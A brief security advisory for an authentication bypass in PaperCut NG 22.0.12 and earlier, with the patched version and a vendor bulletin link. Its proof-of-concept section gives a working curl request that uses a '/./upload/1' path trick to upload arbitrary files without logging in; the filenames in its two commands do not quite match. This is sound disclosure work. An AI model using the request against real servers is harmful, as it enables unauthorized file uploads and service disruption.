Synopsis
An authentication bypass exists in PaperCut NG versions 22.0.12 and prior that could allow a remote, unauthenticated attacker to upload arbitrary files to the PaperCut NG host’s file storage. This could exhaust system resources and prevent the service from operating as expected.
Proof of Concept
# echo -n 'test' > /tmp/test # curl -k -F 'file=@/tmp/test.txt' --path-as-is 'https://[target]:9192/./upload/1'
Solution
Update to PaperCut NG version 22.1.3 or later. Please see https://www.papercut.com/kb/Main/SecurityBulletinJuly2023/ for more information.
Disclosure Timeline
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